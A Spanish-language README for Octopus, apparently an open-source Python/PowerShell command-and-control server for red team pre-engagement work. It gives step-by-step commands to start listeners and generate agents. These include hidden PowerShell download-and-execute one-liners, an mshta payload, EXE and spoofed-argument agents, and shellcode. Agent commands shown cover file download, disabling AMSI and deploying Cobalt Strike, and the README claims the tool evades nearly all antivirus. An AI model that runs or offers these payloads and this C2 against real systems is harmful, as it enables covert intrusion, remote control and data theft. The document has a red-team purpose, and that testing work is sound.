
Servidor C2 de pre-operación de código abierto basado en Python y PowerShell
Octopus es un servidor C2 de preoperación de código abierto basado en Python que puede controlar un agente de Octopus PowerShell a través de HTTP/S.
El propósito principal de crear Octopus es usarlo antes de cualquier operación de red team, donde en lugar de comenzar el compromiso con todo tu arsenal operativo e infraestructura, puedes usar Octopus primero para atacar el objetivo y recopilar información antes de iniciar tu operación real de red team.
Octopus funciona de una manera muy simple para ejecutar comandos e intercambiar información con el C2 a través de un canal bien cifrado, lo que lo hace discreto e indetectable para casi todos los antivirus, protecciones de endpoints y soluciones de monitoreo de red.
Una característica interesante de Octopus se llama ESA, que significa "Endpoint Situational Awareness" (Conciencia Situacional del Endpoint), que recopilará información importante sobre el objetivo que te ayudará a comprender mejor los endpoints de la red objetivo que enfrentarás durante tu operación, dándote así la oportunidad de personalizar tu operación real basándote en esta información.
Octopus está diseñado para ser sigiloso y encubierto mientras se comunica con el C2, ya que utiliza AES-256 por defecto para su canal cifrado entre el agente de PowerShell y el servidor C2. También puedes optar por usar SSL/TLS proporcionando un certificado válido para tu dominio y configurando el servidor C2 de Octopus para usarlo.
Octopus está repleto de varias características que te permiten obtener información sobre tu próxima operación antes de que necesites desplegar todo tu arsenal o herramientas y técnicas, como:
Puedes instalar todos los requisitos de Octopus mediante:
pip install -r requirements.txt
Necesitas instalar nasm para Linux y el compilador 'mingw-w64' para usar la funcionalidad de shellcoding y el agente de argumentos suplantados.
Puedes instalar nasm en distribuciones basadas en Debian usando:
apt install nasm
Y puedes instalar mingw-w64 en distribuciones basadas en Debian usando:
apt install mingw-w64
Octopus ha sido probado en los siguientes sistemas operativos:
También necesitarás instalar Mono para asegurarte de que puedes compilar el código fuente en C# sin problemas.
Octopus depende del binario mono-csc para compilar el código fuente en C# y puedes instalarlo con el siguiente comando apt install mono-devel, el cual ha sido probado en Kali y Ubuntu 16.04.
Puedes usar Octopus sin instalar Mono pero no podrás usar el comando
generate_exe.
También ten en cuenta que compilar C# depende del ensamblado System.Management.Automation.dll con el hash SHA1 a43ed886b68c6ee913da85df9ad2064f1d81c470.
Si encuentras algún problema al usar Octopus, no dudes en informar de un bug.
En primer lugar, asegúrate de descargar la última versión de Octopus usando el siguiente comando:
git clone https://github.com/mhaskar/Octopus/
Luego necesitas instalar los requisitos usando el siguiente comando:
pip install -r requirements.txt
Después de eso, puedes iniciar el servidor de Octopus ejecutando lo siguiente:
./octopus.py
Serás recibido con lo siguiente una vez que lo ejecutes:
┌─[askar@hackbook]─[/opt/redteaming/Octopus]
└──╼ $python3 octopus.py
___ ___ ___ ___ ___ ___
/ /\ / /\ ___ / /\ / /\ /__/\ / /\
/ /::\ / /:/ / /\ / /::\ / /::\ \ \:\ / /:/_
/ /:/\:\ / /:/ / /:/ / /:/\:\ / /:/\:\ \ \:\ / /:/ /\
/ /:/ \:\ / /:/ ___ / /:/ / /:/ \:\ / /:/~/:/ ___ \ \:\ / /:/ /::\
/__/:/ \__\:\ /__/:/ / /\ / /::\ /__/:/ \__\:\ /__/:/ /:/ /__/\ \__\:\ /__/:/ /:/\:\
\ \:\ / /:/ \ \:\ / /:/ /__/:/\:\ \ \:\ / /:/ \ \:\/:/ \ \:\ / /:/ \ \:\/:/~/:/
\ \:\ /:/ \ \:\ /:/ \__\/ \:\ \ \:\ /:/ \ \::/ \ \:\ /:/ \ \::/ /:/
\ \:\/:/ \ \:\/:/ \ \:\ \ \:\/:/ \ \:\ \ \:\/:/ \__\/ /:/
\ \::/ \ \::/ \__\/ \ \::/ \ \:\ \ \::/ /__/:/
\__\/ \__\/ \__\/ \__\/ \__\/ \__\/
v1.2 estable !
Octopus C2 | Controla tus shells
Octopus >>
Usar Octopus es bastante simple, ya que solo necesitas iniciar un listener y generar tu agente basado en la información de ese listener.
Puedes generar tantos listeners como necesites, y luego puedes comenzar a interactuar con tus agentes que se conectan a ellos.
Antes de que puedas empezar a usar Octopus, debes configurar un perfil de manejo de URLs que controlará el comportamiento y las funciones del C2, ya que Octopus es un C2 basado en HTTP, por lo que depende de las URLs para manejar las conexiones y para garantizar que las URLs no sirvan como firmas o IoC en la red que estás atacando; las URLs pueden ser fácilmente personalizadas y renombradas según sea necesario.
La configuración del perfil actualmente solo soporta el manejo de URLs, el valor de auto kill y los encabezados.
Configuración de tu perfil
Para comenzar a configurar tu perfil, necesitas editar el archivo profile.py, que contiene varias variables clave, que son:
Ejemplo:
#!/usr/bin/python3
# this is the web listener profile for Octopus C2
# you can customize your profile to handle a specific URLs to communicate with the agent
# TODO : add the ability to customize the request headers
# handling the file downloading
# Ex : /anything
# Ex : /anything.php
file_receiver_url = "/messages"
# handling the report generation
# Ex : /anything
# Ex : /anything.php
report_url = "/calls"
# command sending to agent (store the command will be executed on a host)
# leave <hostname> as it with the same format
# Ex : /profile/<hostname>
# Ex : /messages/<hostname>
# Ex : /bills/<hostname>
command_send_url = "/view/<hostname>"
# handling the executed command
# Ex : /anything
# Ex : /anything.php
command_receiver_url = "/bills"
# handling the first connection from the agent
# Ex : /anything
# Ex : /anything.php
first_ping_url = "/login"
# will return in every response as Server header
server_response_header = "nginx"
# will return white page that includes HTA script
mshta_url = "/hta"
# auto kill value after n tries
auto_kill = 10
El agente y los listeners se configurarán para usar este perfil para comunicarse entre sí. A continuación, necesitamos saber cómo crear un listener.
Octopus tiene dos listeners principales, "http listener" y "https listener", y las opciones de ambos listeners son casi idénticas.
Listener HTTP:
El comando listen_http toma los siguientes argumentos para iniciar:
También puedes ver un ejemplo ejecutando el comando listen_http:
Octopus >>listen_http
[-] Please check listener arguments !
Syntax : listen_http BindIP BindPort hostname interval URL listener_name
Example (with domain) : listen_http 0.0.0.0 8080 myc2.live 5 comments.php op1_listener
Example (without domain) : listen_http 0.0.0.0 8080 172.0.1.3 5 profile.php op1_listener
##########
Options info :
BindIP IP address that will be used by the listener
BindPort port you want to listen on
Hostname will be used to request the payload from
Interval how may seconds that agent will wait before check for commands
URL page name will hold the payload
Listener_name listener name to use
Octopus >>
Y podemos iniciar un listener usando el siguiente comando:
listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1
Se obtendrá el siguiente resultado:
Octopus >>listen_http 0.0.0.0 8080 192.168.178.1 5 page.php operation1
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
* Environment: production
WARNING: Do not use the development server in a production environment.
Use a production WSGI server instead.
* Debug mode: off
Octopus >>
Se ha iniciado un listener correctamente, y podemos ver todos los listeners usando el comando listeners:
Octopus >>listeners
Name IP Port Host Interval Path SSL
---------- ------- ------ ------------- ---------- -------- -----
operation1 0.0.0.0 8080 192.168.178.1 5 page.php False
Octopus >>
Listener HTTPS:
Para crear un listener HTTPS puedes usar el comando listen_https de la siguiente manera:
Octopus >>listen_https
[-] Please check listener arguments !
Syntax : listen_https BindIP BindPort hostname interval URL listener_name certficate_path key_path
Example (with domain) : listen_https 0.0.0.0 443 myc2.live 5 login.php op1_listener certs/cert.pem certs/key.pem
Octopus >>listen_https 0.0.0.0 443 myc2.live 5 login.php darkside_operation certs/cert.pem certs/key.pem
SSL listener started !
[+]darkside_operation Listener has been created
Octopus >> * Serving Flask app "core.weblistener" (lazy loading)
* Environment: production
WARNING: Do not use the development server in a production environment.
Use a production WSGI server instead.
* Debug mode: off
Octopus >>
El comando listen_https toma los siguientes argumentos para iniciar:
Ten en cuenta que necesitas proporcionar un certificado SSL válido que esté asociado al dominio utilizado.
PowerShell oneliner
Para generar un agente para el listener operation1 podemos usar el siguiente comando:
generate_powershell operation1
y obtendremos el siguiente resultado:
Octopus >>generate_powershell operation1
#====================
1) powershell -w hidden "IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"
2) powershell -w hidden "Invoke-Expression (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"
3) powershell -w hidden "$w = (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');Invoke-Expression $w;"
Note - For Windows 7 clients you may need to prefix the payload with "Add-Type -AssemblyName System.Core;"
e.g. powershell -w hidden "Add-Type -AssemblyName System.Core;IEX (New-Object Net.WebClient).DownloadString('http://192.168.178.1:8080/page.php');"
Hack your way in ;)
#====================
Octopus >>
HTA oneliner
Para generar un HTA oneliner para el listener1 operation1 podemos usar el siguiente comando:
generate_hta operation1
y obtendremos los siguientes resultados:
Octopus >>generate_hta operation1
#====================
mshta http://192.168.178.1:8080/hta
spread it and wait ;)
#====================
Octopus >>
Ten en cuenta que puedes editar la URL /hta usando profile.py
Agente EXE de Octopus
Para generar un agente EXE para el listener operation1 podemos usar el siguiente comando:
generate_unmanaged_exe operation1 /opt/Octopus/file.exe
y obtendremos el siguiente resultado:
Octopus >>generate_unmanaged_exe darkside_operation2 /opt/Octopus/file.exe
[+] file compiled successfully !
[+] binary file saved to /opt/Octopus/file.exe
Octopus >>
Ten en cuenta que debes instalar mono-csc para compilar el código fuente en C#.
Agente de argumentos suplantados de Octopus
Puedes generar un nuevo agente EXE que ejecutará un proceso de PowerShell con argumentos suplantados basado en la brillante investigación de Adam Chester.
Para generar este exe, puedes usar el siguiente comando:
Octopus >>generate_spoofed_args_exe
[-] Please select a listener and check your options !
Syntax : generate_spoofed_args_exe listener_name output_path
Example : generate_spoofed_args_exe listener1 /opt/Octopus/file.exe
Octopus >>
Generar shellcode x64 y x86
Octopus puede generar tanto shellcode x64 como x86 a partir de la versión 1.2; el shellcode generado utiliza CreateProcessA para iniciar un oneliner de powershell.exe que lanzará el agente de PowerShell.
Para generar shellcode x64, puedes usar el siguiente comando:
Octopus >>generate_x64_shellcode
[-] Please select a listener and check your options !
Syntax : generate_x64_shellcode listener_name
Example : generate_x64_shellcode listener1
Octopus >>
Para generar shellcode x86, puedes usar el siguiente comando:
Octopus >>generate_x86_shellcode
[-] Please select a listener and check your options !
Syntax : generate_x86_shellcode listener_name
Example : generate_x86_shellcode listener1
Octopus >>
En primer lugar, puedes listar todos los agentes conectados usando el comando list para obtener los siguientes resultados:
Octopus >>list
Session IP Hostname PID Username Domain Last ping OS
--------- ------------ ----------- ----- ------------- ------------ ------------------------ --------------------------------
1 192.168.1.43 HR-PC-TYRMJ 10056 hr-pc\labuser darkside.com Tue Sep 3 10:22:07 2019 Microsoft Windows 10 Pro(64-bit)
Octopus >>
Y luego podemos usar el comando interact para interactuar con el host de la siguiente manera:
Octopus >>list
Session IP Hostname PID Username Domain Last ping OS
--------- ------------ ----------- ----- ------------- ------------ ------------------------ --------------------------------
1 192.168.1.43 HR-PC-TYRMJ 10056 hr-pc\labuser darkside.com Tue Sep 3 10:22:07 2019 Microsoft Windows 10 Pro(64-bit)
Octopus >>interact 1
(HR-PC-TYRMJ) >>
Puedes listar todos los comandos disponibles usando el comando help de la siguiente manera:
Octopus >>list
Session IP Hostname PID Username Domain Last ping OS
--------- ------------ ----------- ----- ------------- ------------ ------------------------ --------------------------------
1 192.168.1.43 HR-PC-TYRMJ 10056 hr-pc\labuser darkside.com Tue Sep 3 10:22:07 2019 Microsoft Windows 10 Pro(64-bit)
Octopus >>interact 1
(HR-PC-TYRMJ) >> help
Available commands to use :
Hint : if you want to execute system command just type it and wait for the results
+++++++++
help show this help menu
exit/back exit current session and back to the main screen
clear clear the screen output
download download file from the target machine
deploy_cobalt_beacon deploy cobalt strike powershell beacon in the current process
load load powershell module to the target machine
disable_amsi disable AMSI on the target machine
report get situation report from the target
(HR-PC-TYRMJ) >>
Para ejecutar un comando del sistema directamente, podemos escribir el comando directamente y luego esperar los resultados según el intervalo de comprobación que establecimos al crear el listener.
(HR-PC-TYRMJ) >> ipconfig
[+] Command sent , waiting for results
(HR-PC-TYRMJ) >>
Command execution result is :
Windows IP Configuration
Ethernet adapter Ethernet1:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Ethernet adapter Ethernet0:
Connection-specific DNS Suffix . : home
Link-local IPv6 Address . . . . . : fe80::f85f:d52b:1d8d:cbae%10
IPv4 Address. . . . . . . . . . . : 192.168.1.43
Subnet Mask . . . . . . . . . . . : 255.255.255.0
Default Gateway . . . . . . . . . : 192.168.1.1
Ethernet adapter Ethernet:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
Ethernet adapter Bluetooth Network Connection:
Media State . . . . . . . . . . . : Media disconnected
Connection-specific DNS Suffix . :
(HR-PC-TYRMJ) >>
En este caso, el comando se ha cifrado y luego se ha enviado al agente; después, el cliente descifrará el comando y lo ejecutará, el agente cifrará los resultados y finalmente los enviará de vuelta al C2 para descifrarlos y mostrar los resultados.
También podemos usar el comando report para obtener la información de ESA de la siguiente manera:
(HR-PC-TYRMJ) >> report
[+] Command sent , waiting for results
(HR-PC-TYRMJ) >>
Endpoint situation awareness report for HR-PC-QNGAV
=============
Hostname : HR-PC-QNGAV
Domain : darkside.com
OS : Microsoft Windows 10 Pro(64-bit)
OS build : 10.0.17134
OS arch : 64-bit
AntiVirus : Symantec
SIEM solution : False
Internal interfaces/IPs :
IP : 192.168.178.144
IP : 172.12.1.20
Device language : en-US
Device uptime : 41.6386169797778 hours
Device local time : 21:55(09/09/2019)
(HR-PC-TYRMJ) >>
Puedes cargar un módulo externo de PowerShell colocándolo en el directorio modules, luego ejecutando load module.ps1.
También puedes listar todos los módulos en el directorio modules ejecutando el comando modules de la siguiente manera:
(HR-PC-TYRMJ) >> modules
PowerView.ps1
(HR-PC-TYRMJ) >> load PowerView.ps1
[+] Module should be loaded !
(HR-PC-TYRMJ) >>
Ian Lyte por reportar múltiples bugs en Octopus y enviar un módulo mejorado de omisión de AMSI.
Khlief por añadir el módulo HTA y corregir un bug en la función de descarga
Moath Maharmah por mejorar el módulo de cifrado y escribir un agente independiente de Octopus en C# que se añadirá en la próxima versión.
TeslaPulse por probar Octopus
J005 por añadir un oneliner mejorado de PowerShell y corregir un problema en el script de ataque HID.
Este proyecto está licenciado bajo la Licencia GPL-3.0 - consulta el archivo LICENSE para más detalles.